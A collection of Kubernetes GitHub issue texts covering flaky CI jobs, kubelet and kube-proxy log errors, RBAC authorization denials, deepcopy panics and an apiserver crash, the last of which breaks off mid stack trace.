flaky job: pr:pull-kubernetes-verify  flakes in the past week:   16    consistency:   95.50%         flakiest tests by flake count: | test | flake count | | --- | --- | | verify staging-godeps | 9 |       previously closed issues for this job flaking:  60028  60743     flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

this test does not verify what filesystem was actually formatted on the device. if we just always format  ext4   would be a bug , all these \ volumes should be mountable\  tests will pass no matter what filesystem we pass in even if it is not supported.\r \r   \r /cc @msau42

what would you like to be added  :\r use read lock in servehttp\r \r   why is this needed  :\r currently servehttp  in healthcheck.go  takes the write lock:\r    \r \th.hcs.lock.lock  \r \tsvc, ok := h.hcs.services h.name \r    \r since it only reads from h.hcs.services, holding read lock should suffice.

now that nginx proxy is not the preferred configuration, there is no reason to use non-standard port 6443. change the default value from 6443 to 443?  this will require changes in some getting started guides.

i have a pod with an influxdb database container and a kafka consumer container. the kafka consumer imports data from kafka into influxdb.   recently, the kafka consumer container experienced an error, causing it to crash and preventing it from properly starting up again. however, the influxdb container was still running fine.  the issue is that kubernetes removed the endpoint for the service i created for the pod, which i assume is because it didn't deem the pod healthy or ready. however, this prevented other pods from accessing the influxdb database.  i am wondering if this type of fate sharing among containers in a pod is a good design? i assume that had i set \ clusterip: none\  in the service  i.e., no proxy/lb , influxdb would still be accessible. maybe it is better to to create an endpoint as long as at least one container is running in the pod? or, at least make this configurable.  i think it is a common deployment pattern in kubernetes that you have a side-car container that performs some simple, but non-critical task  like backups, or configuration updates, etc. . a failure in one of these side-cars shouldn't bring down an otherwise functioning service.

kubernetes version  :      client version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.2\ , gitcommit:\ 528f879e7d3790ea4287687ef0ab3f2a01cc2718\ , gittreestate:\ clean\ } server version: version.info{major:\ 1\ , minor:\ 2\ , gitversion:\ v1.2.2\ , gitcommit:\ 528f879e7d3790ea4287687ef0ab3f2a01cc2718\ , gittreestate:\ clean\ }        environment  : -   cloud provider or hardware configuration  : bare metal -   os    e.g. from /etc/os-release : ubuntu 12.04.4 lts, precise pangolin -   kernel    e.g.  uname -a  : linux tuk6r1knode3 3.13.0-55-generic  92~precise1-ubuntu smp sun jun 14 18:32:23 utc 2015 x86_64 x86_64 x86_64 gnu/linux -   install tools  : n/a ?  -   others  : n/a ?     what happened  :  sometimes we get an error-level log in kubelet claiming \ unable to inspect container\  after the pod has been properly shut down.  eg, during a rolling upgrade which behaved otherwise properly, we see this in the kubelet.log:      i0817 23:32:52.042648    2903 manager.go:1368  killing container \ a71923c1e106541e589424ffe825c72883873a81474c372984e1cce077d5ac05 agent-manager/agent-manager-20160729-205756-8pay1\  with 30 second grace period i0817 23:32:52.145473    2903 manager.go:1400  container \ a71923c1e106541e589424ffe825c72883873a81474c372984e1cce077d5ac05 agent-manager/agent-manager-20160729-205756-8pay1\  exited after 102.782182ms i0817 23:32:52.176595    2903 kubelet.go:2414  syncloop  pleg : \ agent-manager-20160729-205756-8pay1_agent-manager 55d78c9a-55cf-11e6-883b-00505693acba \ , event: &pleg.podlifecycleevent{id:\ 55d78c9a-55cf-11e6-883b-00505693acba\ , type:\ containerdied\ , data:\ a71923c1e106541e589424ffe825c72883873a81474c372984e1cce077d5ac05\ } e0817 23:33:32.699341    2903 manager.go:2139  unable to inspect container \ a71923c1e106541e589424ffe825c72883873a81474c372984e1cce077d5ac05\ : no such container: a71923c1e106541e589424ffe825c72883873a81474c372984e1cce077d5ac05        what you expected to happen  :  expect error-level logs only when something is broken -- currently this triggers alerts to qa and/or ops on every occurrence, depending of course on whether it happens in test or prod.  if it's confirmed to _never_ be an actual problem, we can put a filter on this log entry... though obviously that would beg the same question of whether it should be logged as an error in the first place.     how to reproduce it    as minimally and precisely as possible :  happens occasionally during upgrades, and occasionally during pod restarts due to livenessprobe health check failure.  maybe 1% of the time, or less?   eg, this rolling upgrade:      $ kubectl --server=https://10.68.0.35:6443 --kubeconfig=/highland/config/kubernetes/config --context=test-tuk6r1 --namespace=agent-manager rollingupdate agent-manager-20160729-205756 --filename=/tmp/template_agent_manager_rc_20160817-233132.yaml created agent-manager-20160817-233132 scaling up agent-manager-20160817-233132 from 0 to 2, scaling down agent-manager-20160729-205756 from 2 to 0  keep 2 pods available, don't exceed 3 pods  scaling agent-manager-20160817-233132 up to 1 scaling agent-manager-20160729-205756 down to 1 scaling agent-manager-20160817-233132 up to 2 scaling agent-manager-20160729-205756 down to 0 update succeeded. deleting agent-manager-20160729-205756 replicationcontroller \ agent-manager-20160729-205756\  rolling updated to \ agent-manager-20160817-233132\       ... generated this in the kubelet.log:      i0817 23:32:50.755806    2903 manager.go:1368  killing container \ ccaf1e639718a626dc39fd63acfbfe4b5bf54e7e4f5c3310bd0857bcc978033c agent-manager agent-manager/agent-manager-20160729-205756-8pay1\  with 30 second grace period i0817 23:32:50.756727    2903 manager.go:1024  using docker native exec to run cmd  /control-scripts/service-stop.sh  inside container {docker ccaf1e639718a626dc39fd63acfbfe4b5bf54e7e4f5c3310bd0857bcc978033c} i0817 23:32:51.337055    2903 manager.go:1400  container \ ccaf1e639718a626dc39fd63acfbfe4b5bf54e7e4f5c3310bd0857bcc978033c agent-manager agent-manager/agent-manager-20160729-205756-8pay1\  exited after 581.188698ms i0817 23:32:52.174025    2903 kubelet.go:2414  syncloop  pleg : \ agent-manager-20160729-205756-8pay1_agent-manager 55d78c9a-55cf-11e6-883b-00505693acba \ , event: &pleg.podlifecycleevent{id:\ 55d78c9a-55cf-11e6-883b-00505693acba\ , type:\ containerdied\ , data:\ ccaf1e639718a626dc39fd63acfbfe4b5bf54e7e4f5c3310bd0857bcc978033c\ } e0817 23:33:32.698659    2903 manager.go:2139  unable to inspect container \ ccaf1e639718a626dc39fd63acfbfe4b5bf54e7e4f5c3310bd0857bcc978033c\ : no such container: ccaf1e639718a626dc39fd63acfbfe4b5bf54e7e4f5c3310bd0857bcc978033c      and      i0817 23:32:52.042648    2903 manager.go:1368  killing container \ a71923c1e106541e589424ffe825c72883873a81474c372984e1cce077d5ac05 agent-manager/agent-manager-20160729-205756-8pay1\  with 30 second grace period i0817 23:32:52.145473    2903 manager.go:1400  container \ a71923c1e106541e589424ffe825c72883873a81474c372984e1cce077d5ac05 agent-manager/agent-manager-20160729-205756-8pay1\  exited after 102.782182ms i0817 23:32:52.176595    2903 kubelet.go:2414  syncloop  pleg : \ agent-manager-20160729-205756-8pay1_agent-manager 55d78c9a-55cf-11e6-883b-00505693acba \ , event: &pleg.podlifecycleevent{id:\ 55d78c9a-55cf-11e6-883b-00505693acba\ , type:\ containerdied\ , data:\ a71923c1e106541e589424ffe825c72883873a81474c372984e1cce077d5ac05\ } e0817 23:33:32.699341    2903 manager.go:2139  unable to inspect container \ a71923c1e106541e589424ffe825c72883873a81474c372984e1cce077d5ac05\ : no such container: a71923c1e106541e589424ffe825c72883873a81474c372984e1cce077d5ac05       edit: the above two snippets were intended to be different examples, but i copy-pasted the same one twice. fixed now.   we've also seen this during pod shutdown due to livenessprobe health check failure:      i0817 22:12:29.526643    2869 kubelet.go:2414  syncloop  pleg : \ riemann-20160711-204726-63wz3_riemann 0655f0eb-47a9-11e6-883b-00505693acba \ , event: &pleg.podlifecycleevent{id:\ 0655f0eb-47a9-11e6-883b-00505693acba\ , type:\ containerstarted\ , data:\ f26ee108f52d58183d32719991d1651f4dfe0182aca90e5bbbe66b187726415d\ } i0817 22:12:36.418659    2869 manager.go:1024  using docker native exec to run cmd  /control-scripts/health-check.sh  inside container {docker f26ee108f52d58183d32719991d1651f4dfe0182aca90e5bbbe66b187726415d} ... i0817 22:23:06.776416    2869 manager.go:1024  using docker native exec to run cmd  /control-scripts/health-check.sh  inside container {docker f26ee108f52d58183d32719991d1651f4dfe0182aca90e5bbbe66b187726415d} i0817 22:23:11.402742    2869 manager.go:1368  killing container \ f26ee108f52d58183d32719991d1651f4dfe0182aca90e5bbbe66b187726415d riemann riemann/riemann-20160711-204726-63wz3\  with 30 second grace period i0817 22:23:11.403984    2869 manager.go:1024  using docker native exec to run cmd  /control-scripts/service-stop.sh  inside container {docker f26ee108f52d58183d32719991d1651f4dfe0182aca90e5bbbe66b187726415d} i0817 22:23:12.081233    2869 manager.go:1400  container \ f26ee108f52d58183d32719991d1651f4dfe0182aca90e5bbbe66b187726415d riemann riemann/riemann-20160711-204726-63wz3\  exited after 678.452106ms i0817 22:23:12.778141    2869 kubelet.go:2414  syncloop  pleg : \ riemann-20160711-204726-63wz3_riemann 0655f0eb-47a9-11e6-883b-00505693acba \ , event: &pleg.podlifecycleevent{id:\ 0655f0eb-47a9-11e6-883b-00505693acba\ , type:\ containerdied\ , data:\ f26ee108f52d58183d32719991d1651f4dfe0182aca90e5bbbe66b187726415d\ } e0817 22:44:47.967092    2869 manager.go:2139  unable to inspect container \ f26ee108f52d58183d32719991d1651f4dfe0182aca90e5bbbe66b187726415d\ : no such container: f26ee108f52d58183d32719991d1651f4dfe0182aca90e5bbbe66b187726415d i0817 22:44:49.033379    2869 kubelet.go:2414  syncloop  pleg : \ riemann-20160711-204726-63wz3_riemann 0655f0eb-47a9-11e6-883b-00505693acba \ , event: &pleg.podlifecycleevent{id:\ 0655f0eb-47a9-11e6-883b-00505693acba\ , type:\ containerdied\ , data:\ f26ee108f52d58183d32719991d1651f4dfe0182aca90e5bbbe66b187726415d\ }      ...although this repro case seems a more legitimate situation in which to raise an error, so our primary concern is the upgrade repro.    anything else do we need to know  :  n/a

we are seeing lot of error messages in logs from ci build related to  events .\r with the error message   'namespaces \ default\  not found'  will not retry!  \r    \r i0307 15:41:10.131  e0307 23:40:25.095539       1 event.go:199  server rejected event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ e2e-tests-federation-namespace-12c14.14a9bdf8124712a6\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ namespace\ , namespace:\ \ , name:\ e2e-tests-federation-namespace-12c14\ , uid:\ 6fd6383d-038f-11e7-9253-0a580ab60306\ , apiversion:\ v1\ , resourceversion:\ 20\ , fieldpath:\ \ }, reason:\ createincluster\ , message:\ creating namespace in cluster federation-e2e-gce-us-central1-f\ , source:v1.eventsource{component:\ federated-namespace-controller\ , host:\ \ }, firsttimestamp:v1.time{time:time.time{sec:63624526824, nsec:978846374, loc:  time.location  0x6eec120 }}, lasttimestamp:v1.time{time:time.time{sec:63624526824, nsec:978846374, loc:  time.location  0x6eec120 }}, count:1, type:\ normal\ }': 'namespaces \ default\  not found'  will not retry! \r i0307 15:41:10.131  e0307 23:40:25.199587       1 event.go:199  server rejected event '&v1.event{typemeta:v1.typemeta{kind:\ \ , apiversion:\ \ }, objectmeta:v1.objectmeta{name:\ e2e-tests-federation-namespace-12c14.14a9bdf812459727\ , generatename:\ \ , namespace:\ default\ , selflink:\ \ , uid:\ \ , resourceversion:\ \ , generation:0, creationtimestamp:v1.time{time:time.time{sec:0, nsec:0, loc:  time.location  nil }}, deletiontimestamp:  v1.time  nil , deletiongraceperiodseconds:  int64  nil , labels:map string string nil , annotations:map string string nil , ownerreferences:  v1.ownerreference nil , finalizers:  string nil , clustername:\ \ }, involvedobject:v1.objectreference{kind:\ namespace\ , namespace:\ \ , name:\ e2e-tests-federation-namespace-12c14\ , uid:\ 6fd6383d-038f-11e7-9253-0a580ab60306\ , apiversion:\ v1\ , resourceversion:\ 20\ , fieldpath:\ \ }, reason:\ createincluster\ , message:\ creating namespace in cluster federation-e2e-gce-us-central1-a\ , source:v1.eventsource{component:\ federated-namespace-controller\ , host:\ \ }, firsttimestamp:v1.time{time:time.time{sec:63624526824, nsec:978749223, loc:  time.location  0x6eec120 }}, lasttimestamp:v1.time{time:time.time{sec:63624526824, nsec:978749223, loc:  time.location  0x6eec120 }}, count:1, type:\ normal\ }': 'namespaces \ default\  not found'  will not retry! \r    \r \r cc @kubernetes/sig-federation-bugs

hello, \r \r i don't know if it is normal the podcidr display on nodes are different than flanneld subnets.\r this is not blocking pods takes ip in flanneld cidr.\r \r   kubernetes version    use  kubectl version  :\r v1.5.5 & v1.6. \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : centos 7.3\r -   kernel    e.g.  uname -a  :  3.10.0-514.el7.x86_64\r -   others  :\r flannel-0.7.0-1.el7.x86_64\r kubernetes-cni-0.3.0.1-0.07a8a2.x86_64\r \r   what happened  :\r \r the podcidr display by kubectl from nodes are differents than the real subnets used by flannel on nodes.\r \r etcdctl ls /kube/network/subnets\r /kube/network/subnets/172.12.1.0-24\r /kube/network/subnets/172.12.98.0-24\r /kube/network/subnets/172.12.67.0-24\r /kube/network/subnets/172.12.49.0-24\r /kube/network/subnets/172.12.2.0-24\r /kube/network/subnets/172.12.33.0-24\r \r kubectl describe nodes | grep podcidr\r podcidr:\t\t\t172.12.1.0/24\r podcidr:\t\t\t172.12.6.0/24\r podcidr:\t\t\t172.12.0.0/24\r podcidr:\t\t\t172.12.4.0/24\r podcidr:\t\t\t172.12.5.0/24\r podcidr:\t\t\t172.12.3.0/24\r \r   what you expected to happen  :\r \r the podcidr display by kubernetes should be the same as flannel ones.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r install kubernetes with flannel\r \r   anything else we need to know  :\r \r

this pr is a reminder to handle the comment of @saad-ali on https://github.com/kubernetes/kubernetes/pull/45346 issuecomment-302270624\r \r i most likely won't be able to do this by myself due to missing time.

failure cluster  a9e3ad62f7267da7badb  https://go.k8s.io/triage a9e3ad62f7267da7badb        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:215 jun  9 15:01:00.631: error waiting for all pods to be running and ready: 3 / 33 pods in namespace \ kube-system\  are not in running and ready state in 10m0s pod                    node                            phase   grace conditions fluentd-es-v1.22-1twmv bootstrap-e2e-minion-group-rjx2 running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-09 14:44:53 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-09 14:50:49 -0700 pdt containersnotready containers with unready status:  fluentd-es } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-09 14:44:57 -0700 pdt  }  fluentd-es-v1.22-33v0p bootstrap-e2e-minion-group-vw4f running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-09 14:44:42 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-09 14:51:25 -0700 pdt containersnotready containers with unready status:  fluentd-es } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-09 14:44:53 -0700 pdt  }  fluentd-es-v1.22-h0xs7 bootstrap-e2e-minion-group-rf0k running        {initialized true 0001-01-01 00:00:00 +0000 utc 2017-06-09 14:44:41 -0700 pdt  } {ready false 0001-01-01 00:00:00 +0000 utc 2017-06-09 14:51:32 -0700 pdt containersnotready containers with unready status:  fluentd-es } {podscheduled true 0001-01-01 00:00:00 +0000 utc 2017-06-09 14:44:55 -0700 pdt  }   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/e2e.go:166           failure cluster statistics: 1 tests failed,    2 jobs failed,    85 builds failed. failure stats cover 1 day time range '10 jun 2017 03:56 utc' to '11 jun 2017 03:56 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | | beforesuite | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-es-logging | 43 |  11 jun 2017 03:08 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-es-logging/12910  | | ci-kubernetes-e2e-gci-gce-es-logging | 42 |  11 jun 2017 03:24 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-es-logging/9741  |   current status  https://go.k8s.io/triage a9e3ad62f7267da7badb

version: 1.7.3\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r    \r apiversion: v1\r kind: list\r items:\r - apiversion: v1\r   kind: serviceaccount\r   metadata:\r     name: test-sa\r     namespace: new-ns\r - apiversion: rbac.authorization.k8s.io/v1beta1\r   kind: clusterrole\r   metadata:\r     name: \ test-clusterrole\ \r   rules:\r   - apigroups:  \ \  \r     resources:  \ pods\  \r     verbs:      \ list\ ,\ watch\  \r - apiversion: rbac.authorization.k8s.io/v1beta1\r   kind: clusterrolebinding\r   metadata:\r     name: \ test-clusterrolebinding\ \r   roleref:\r     apigroup: rbac.authorization.k8s.io\r     kind: clusterrole\r     name: \ test-clusterrole\ \r   subjects:\r   - apigroup: \ \ \r     kind: serviceaccount\r     name: \ test-sa\ \r     namespace: \ new-ns\ \r - apiversion: rbac.authorization.k8s.io/v1beta1\r   kind: role\r   metadata:\r     name: \ test-role\ \r     namespace: test-ns\r   rules:\r   - apigroups:  \ \  \r     resources:  \ pods\  \r     verbs:      \ get\  \r - apiversion: rbac.authorization.k8s.io/v1beta1\r   kind: rolebinding\r   metadata:\r     name: \ test-rolebinding\ \r     namespace: test-ns\r   roleref:\r     apigroup: rbac.authorization.k8s.io\r     kind: role\r     name: \ test-role\ \r   subjects:\r   - apigroup: \ \ \r     kind: serviceaccount\r     name: \ test-sa\ \r     namespace: \ new-ns\ \r - apiversion: extensions/v1beta1\r   kind: deployment\r   metadata:\r     name: test-deploy\r     namespace: new-ns\r     labels:\r       app: test-deploy\r   spec:\r     selector:\r       matchlabels:\r         app: test-deploy\r     template:\r       metadata:\r         labels:\r           app: test-deploy\r       spec:\r         serviceaccountname: test-sa\r         containers:\r         - image: nginx\r           name: nginx\r \r    \r ssh to one pod that created by deployment test-deploy and do the following\r    \r $ kubectl get pods -n=new-ns\r name                           ready     status    restarts   age\r test-deploy-2974345403-n1b93   1/1       running   0          5m\r $ kubectl get pods test-deploy-2974345403-n1b93 -n=new-ns\r error from server  forbidden : user \ system:serviceaccount:new-ns:test-sa\  cannot get pods in the namespace \ new-ns\ .  get pods test-deploy-2974345403-n1b93 \r    \r \r i print the rule at https://github.com/kubernetes/kubernetes/blob/master/plugin/pkg/auth/authorizer/rbac/rbac.go l59.\r the following is the related log\r    \r i0815 21:47:47.715763       5 rbac.go:60  rule: policyrule{resources: \ pods\  , apigroups: \ \  , verbs: \ list\  \ watch\  }\r i0815 21:47:47.716565       5 rbac.go:60  rule: policyrule{resources: \ selfsubjectaccessreviews\  , apigroups: \ authorization.k8s.io\  , verbs: \ create\  }\r i0815 21:47:47.716678       5 rbac.go:60  rule: policyrule{nonresourceurls: \ /api\  \ /api/ \  \ /apis\  \ /apis/ \  \ /healthz\  \ /swaggerapi\  \ /swaggerapi/ \  \ /version\  , verbs: \ get\  }\r i0815 21:47:47.716820       5 rbac.go:115  rbac deny: user \ system:serviceaccount:new-ns:test-sa\  groups  \ system:serviceaccounts\  \ system:serviceaccounts:new-ns\  \ system:authenticated\   cannot \ get\  resource \ pods\  named \ test-deploy-2974345403-n1b93\  in namespace \ new-ns\ \r i0815 21:47:47.717000       5 wrap.go:42  get /api/v1/namespaces/new-ns/pods/test-deploy-2974345403-n1b93:  2.943893ms  403   kubectl/v1.7.3  linux/amd64  kubernetes/2c2fe6e  \r    \r \r  @kubernetes/sig-auth-bugs

is this a bug report or feature request?  :\r \r  \r \r \r   what happened  :\r \r kube-proxy throws the following error message whena valid ip is used:\r \r  e1115 00:47:33.900320       1 endpoints.go:42  invalid ip part '10.192.0.2' \r \r the same error can be observed when running the ut:\r    \r $ go test -v\r === run   testexecconntracktool\r --- pass: testexecconntracktool  0.00s \r === run   testclearudpconntrackforip\r --- pass: testclearudpconntrackforip  0.00s \r === run   testclearudpconntrackforport\r --- pass: testclearudpconntrackforport  0.00s \r === run   testdeleteudpconnections\r --- pass: testdeleteudpconnections  0.00s \r === run   testisipv6string\r --- pass: testisipv6string  0.00s \r === run   testisipv6\r --- pass: testisipv6  0.00s \r === run   testippart\r e1115 12:44:33.901263   12254 endpoints.go:42  invalid ip part '1.2.3.4'\r e1115 12:44:33.901976   12254 endpoints.go:42  invalid ip part '2001:db8::2:2'\r e1115 12:44:33.901986   12254 endpoints.go:37  error parsing '1.2.3.4::9999': address 1.2.3.4::9999: too many colons in address\r e1115 12:44:33.901993   12254 endpoints.go:37  error parsing '1.2.3.4: 0 ': address 1.2.3.4: 0 : unexpected ' ' in address\r --- pass: testippart  0.00s \r === run   testtocidr\r --- pass: testtocidr  0.00s \r === run   testlocalportstring\r --- pass: testlocalportstring  0.00s \r === run   testrevertports\r --- pass: testrevertports  0.00s \r === run   testshouldskipservice\r --- pass: testshouldskipservice  0.00s \r pass\r ok  \tk8s.io/kubernetes/pkg/proxy/util\t0.060s\r    \r \r   what you expected to happen  :\r \r errors should only be logged for invalid ip addresses.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r run ut and observe or deploy kube-proxy and review logs.\r

looking at getinstancebyname https://github.com/kubernetes/kubernetes/blob/release-1.8/pkg/cloudprovider/providers/gce/gce_instances.go l461, we do a very inefficient search for instances by name.  this is free when there is only one zone, and cheap if the product   number of zones  x  number of nodes   is small, but it can get out of hand quickly with large, multi-zone clusters.\r \r it not only wastes effort, but it generates a noisy signal on the cloud provider end, as kube-controller-manager starts racking up huge numbers of 404s.\r \r can we make this more efficient?  at the very least, can we please stop logging these as errors?  they are expected.\r https://github.com/kubernetes/kubernetes/blob/release-1.8/pkg/cloudprovider/providers/gce/gce_instances.go l483\r \r cc @cheftako \r   /area nodecontroller

what happened  :\r i have a custom resource with a  map string interface{}  field in the corresponding go struct. i have generated most of the deepcopy functions for it but for that field i have to make the deep copying myself  cannot be generated because of that  interface{}  . it calls  runtime.deepcopyjson    function to do the copying.\r when i run my integration tests against a cluster with  kube_cache_mutation_detector=true  i get the following panic:\r    \r goroutine 67  running :\r vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r         vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x16b\r panic 0x53918e0, 0xc420462080 \r         goroot/src/runtime/panic.go:502 +0x24a\r vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r         vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x16b\r panic 0x53918e0, 0xc420462080 \r         goroot/src/runtime/panic.go:502 +0x24a\r vendor/k8s.io/apimachinery/pkg/util/runtime.handlecrash 0x0, 0x0, 0x0 \r         vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58 +0x16b\r panic 0x53918e0, 0xc420462080 \r         goroot/src/runtime/panic.go:502 +0x24a\r vendor/k8s.io/apimachinery/pkg/runtime.deepcopyjsonvalue 0x534f5c0, 0xc42027ac10, 0xc42027abe0, 0xc \r         vendor/k8s.io/apimachinery/pkg/runtime/converter.go:466 +0x684\r vendor/k8s.io/apimachinery/pkg/runtime.deepcopyjsonvalue 0x53a8d00, 0xc42019c210, 0xc4204e9650, 0xc42002e150 \r         vendor/k8s.io/apimachinery/pkg/runtime/converter.go:454 +0x1c8\r vendor/k8s.io/apimachinery/pkg/runtime.deepcopyjsonvalue 0x53a8d00, 0xc42019c1e0, 0x53a9180, 0xc4200c9e18 \r         vendor/k8s.io/apimachinery/pkg/runtime/converter.go:454 +0x1c8\r vendor/k8s.io/apimachinery/pkg/runtime.deepcopyjson 0xc42019c1e0, 0xc4204e9830 \r         vendor/k8s.io/apimachinery/pkg/runtime/converter.go:444 +0x49\r my-type/v1.  mytypeconfigset .deepcopyinto 0xc4204e9750, 0xc4205bb738 \r         pkg/apis/composition/v1/types.go:64 +0x4e\r my-type/v1.mytypeconfigset.deepcopy 0xc42019c1e0, 0xc42019c1b0 \r         pkg/apis/composition/v1/zz_generated.deepcopy.go:47 +0x5a\r my-type/v1.  mytypespec .deepcopyinto 0xc4201b27e8, 0xc4203fa108 \r         pkg/apis/composition/v1/zz_generated.deepcopy.go:154 +0x45a\r my-type/v1.  mytype .deepcopyinto 0xc4201b26e0, 0xc4203fa000 \r         pkg/apis/composition/v1/zz_generated.deepcopy.go:19 +0x12a\r my-type/v1.  mytype .deepcopy 0xc4201b26e0, 0xc4201e8301 \r         pkg/apis/composition/v1/zz_generated.deepcopy.go:29 +0x5d\r my-type/v1.  mytype .deepcopyobject 0xc4201b26e0, 0x54e63c0, 0xc4201b26e0 \r         pkg/apis/composition/v1/zz_generated.deepcopy.go:35 +0x39\r vendor/k8s.io/client-go/tools/cache.  defaultcachemutationdetector .addobject 0xc420336e00, 0x54e63c0, 0xc4201b26e0 \r         vendor/k8s.io/client-go/tools/cache/mutation_detector.go:99 +0xd3\r vendor/k8s.io/client-go/tools/cache.  sharedindexinformer .handledeltas 0xc4201e82d0, 0x53cc3e0, 0xc420192400, 0x0, 0x0 \r         vendor/k8s.io/client-go/tools/cache/shared_informer.go:353 +0x1d1\r vendor/k8s.io/client-go/tools/cache.  sharedindexinformer .handledeltas-fm 0x53cc3e0, 0xc420192400, 0x53cc3e0, 0xc420192400 \r         vendor/k8s.io/client-go/tools/cache/shared_informer.go:202 +0x56\r vendor/k8s.io/client-go/tools/cache.  deltafifo .pop 0xc4203f2000, 0xc420184020, 0x0, 0x0, 0x0, 0x0 \r         vendor/k8s.io/client-go/tools/cache/delta_fifo.go:444 +0x37d\r vendor/k8s.io/client-go/tools/cache.  controller .processloop 0xc4201de080 \r         vendor/k8s.io/client-go/tools/cache/controller.go:150 +0x6e\r ...\r    \r or alternatively  why two ways to log this? :\r    \r e0418 15:02:00.239118   96944 runtime.go:66  observed a panic: &errors.errorstring{s:\ cannot deep copy uint64\ }  cannot deep copy uint64 \r vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r bazel-out/darwin-fastbuild/bin/external/io_bazel_rules_go/darwin_amd64_race_stripped/stdlib~/src/runtime/asm_amd64.s:573\r goroot/src/runtime/panic.go:502\r vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:58\r bazel-out/darwin-fastbuild/bin/external/io_bazel_rules_go/darwin_amd64_race_stripped/stdlib~/src/runtime/asm_amd64.s:573\r goroot/src/runtime/panic.go:502\r vendor/k8s.io/apimachinery/pkg/runtime/converter.go:466\r vendor/k8s.io/apimachinery/pkg/runtime/converter.go:454\r vendor/k8s.io/apimachinery/pkg/runtime/converter.go:454\r vendor/k8s.io/apimachinery/pkg/runtime/converter.go:444\r mytype/v1/types.go:64\r mytype/v1/zz_generated.deepcopy.go:47\r mytype/v1/zz_generated.deepcopy.go:154\r mytype/v1/zz_generated.deepcopy.go:19\r mytype/v1/zz_generated.deepcopy.go:29\r mytype/v1/zz_generated.deepcopy.go:35\r vendor/k8s.io/client-go/tools/cache/mutation_detector.go:99\r vendor/k8s.io/client-go/tools/cache/shared_informer.go:353\r vendor/k8s.io/client-go/tools/cache/shared_informer.go:202\r vendor/k8s.io/client-go/tools/cache/delta_fifo.go:444\r vendor/k8s.io/client-go/tools/cache/controller.go:150\r vendor/k8s.io/client-go/tools/cache/controller.go:124\r vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:133\r vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:134\r vendor/k8s.io/apimachinery/pkg/util/wait/wait.go:88\r vendor/k8s.io/client-go/tools/cache/controller.go:124\r vendor/k8s.io/client-go/tools/cache/shared_informer.go:227\r ...\r    \r \r  cannot deep copy uint64  comes from\r https://github.com/kubernetes/kubernetes/blob/3e342077d597f7a972ceaff0f06379686bb040a3/staging/src/k8s.io/apimachinery/pkg/runtime/converter.go l449-l468\r \r this function was written with assumption that only  int64 / float64  types are generated for numbers. this assumption comes from this code\r \r https://github.com/kubernetes/kubernetes/blob/5b27f8b8f9fcfc8405f9b34bf584abd0d168abf7/staging/src/k8s.io/apimachinery/pkg/util/json/json.go l111-l118\r \r but the jsoniter unmarshaler that is used in the code to parse objects coming from server does something different:\r \r https://github.com/kubernetes/kubernetes/blob/135d58b3941fac99ae0426e18cbda266b83ca49e/staging/src/k8s.io/apimachinery/pkg/runtime/serializer/json/json.go l75-l88\r \r what do we want to do? support  uint64  or only generate  int64 / float64  for numbers? would be great to only have one way to do things.\r \r   environment  :\r kubernetes 1.10.0, master has the same code.\r \r   \r @kubernetes/sig-api-machinery-bugs

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r apiserver crashes, and continue to crash, with the following error message\r \r    \r e0815 02:17:18.379437     320 runtime.go:66  observed a panic: \ invalid memory address or nil pointer dereference\   runtime error: invalid memory address or nil pointer dereference \r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:72\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:65\r /workspace/anago-v1.9.9-beta.0.51+57729ea3d9a1b7/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/vendor/k8s.io/apimachinery/pkg/util/runtime/runtime.go:51\r /usr/local/go/src/runtime/asm_amd64.s:509\r /usr/local/go/src/runtime/panic.go:491\r /usr/local/go/src/runtime/panic.go:63\r 